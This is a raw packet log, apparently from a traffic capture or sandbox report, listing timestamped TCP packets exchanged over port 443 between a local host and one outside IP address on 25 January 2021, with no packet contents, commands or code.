Jan 25, 2021 21:13:43.658099890 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.902874947 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.982711077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.982872963 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.982911110 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.982958078 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.982959032 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.983002901 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.983041048 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.983057976 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.983156919 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.984683990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.984869003 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:44.104101896 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:44.310463905 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.315391064 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.315695047 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:44.316943884 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:44.561919928 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.639863968 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.639924049 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.639961958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.640000105 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.640037060 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.640053988 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:44.640084982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.640145063 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:44.640237093 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:44.641228914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.641336918 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:44.760535002 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:44.965337038 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.969666004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:44.969815016 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:44.971625090 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.216447115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.286340952 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.286396980 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.286436081 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.286473036 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.286509991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.286556959 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.286586046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.286725998 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.288259983 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.288398981 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.400686026 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.606677055 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.609988928 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.610084057 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.611340046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.855654001 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.938422918 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.938467026 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.938513041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.938524008 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.938549995 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.938571930 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.938587904 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.938621044 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.938642979 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.938668013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.938688993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.938740015 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:45.942636013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:45.942712069 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:46.056046009 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:46.261991024 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.265496969 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.265575886 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:46.266469955 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:46.513062000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.589972019 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.590030909 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.590070009 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.590107918 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.590153933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.590183973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:46.590209007 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.590272903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:46.590363026 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:46.593945026 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.594049931 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:46.697493076 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:46.906137943 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.908487082 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:46.908771038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:46.910633087 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.155675888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.239332914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.239407063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.239447117 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.239485979 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.239523888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.239572048 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.239629030 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.239758015 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.241030931 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.241167068 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.352699041 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.557097912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.562117100 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.562293053 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.563632965 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.808871984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.886559963 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.886615038 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.886652946 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.886684895 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.886689901 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.886727095 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.886739969 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.886775017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.886815071 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.886874914 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.886883974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:47.886979103 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:47.994609118 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:48.220325947 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.224370956 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.224567890 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:48.227094889 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:48.471668959 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.548751116 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.548775911 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.548789024 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.548804998 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.548816919 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.548830032 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.548861027 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:48.548912048 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:48.550312042 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.550398111 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:48.671083927 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:48.894505978 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.903789043 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:48.903861046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:48.905177116 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.149909019 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.230200052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.230249882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.230283976 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.230318069 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.230349064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.230350971 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.230384111 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.230395079 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.230406046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.232121944 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.232203007 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.337233067 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.541668892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.546370983 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.549556971 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.550265074 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.794781923 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.872858047 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.872910023 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.872948885 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.872986078 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.873017073 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.873032093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.873051882 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.873075008 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.873091936 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.873138905 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.873580933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:49.873648882 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:49.977731943 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:50.182138920 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.186868906 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.190243006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:50.190947056 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:50.435940027 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.512351036 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.512393951 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.512432098 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.512466908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.512504101 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.512540102 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.512574911 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:50.512615919 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:50.512622118 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:50.514070988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.514256954 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:50.618664026 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:50.823273897 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.827955961 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:50.828140020 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:50.828996897 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.073813915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.147304058 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.147352934 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.147391081 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.147396088 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.147428989 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.147444963 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.147445917 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.147495985 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.147500992 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.147547960 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.147548914 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.147614002 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.149177074 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.149245977 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.259387016 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.463813066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.469865084 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.469976902 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.472001076 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.716875076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.795742989 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.795907021 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.795944929 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.795975924 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.796014071 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.796037912 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.796050072 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.796070099 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.796149969 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.798445940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:51.798697948 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:51.917001009 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:52.121373892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.126523018 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.126776934 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:52.128675938 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:52.374717951 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.456310987 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.456377983 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.456418991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.456465960 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.456507921 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.456546068 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.456573009 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.456670046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:52.456744909 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:52.574243069 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:52.778791904 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.783759117 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:52.786379099 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:52.787295103 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.032031059 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.125890970 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.125946045 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.125994921 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.126036882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.126074076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.126112938 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.126202106 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.126286030 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.127923965 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.128132105 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.247153997 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.458854914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.462533951 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.462732077 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.614183903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.859817982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.943933010 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.943962097 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.943979025 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.944000006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.944010973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.944025993 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.944030046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.944046974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.944077969 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.944099903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:53.945029974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:53.945091963 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.059818029 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.267762899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.272470951 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.272701979 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.273614883 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.518774986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.598263979 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.598316908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.598364115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.598406076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.598442078 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.598480940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.598524094 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.598568916 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.598586082 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.601593018 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.601639032 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.601722956 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.777719975 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.983791113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.989140034 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:54.989554882 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:54.990648031 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:55.237824917 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:55.318129063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:55.318178892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:55.318226099 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:55.318255901 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:55.318269014 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:55.318285942 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:55.318291903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:55.318305969 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:55.318340063 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:55.318345070 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:55.318360090 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:55.318413019 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:55.320597887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:55.320683002 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:55.547147036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:55.751589060 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:55.757477045 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:55.757646084 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:55.832298994 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:56.080532074 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.158267975 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.158317089 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.158354998 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.158382893 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.158412933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.158433914 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:56.158452034 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.158545971 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:56.158597946 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:56.160381079 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.160516024 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:56.276396036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:56.481183052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.486944914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.487262011 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:56.489140034 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:56.733603001 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.810924053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.810969114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.811007977 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.811044931 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.811080933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.811116934 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.811167955 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:56.811292887 CET	49745	443	192.168.2.4	162.0.209.179
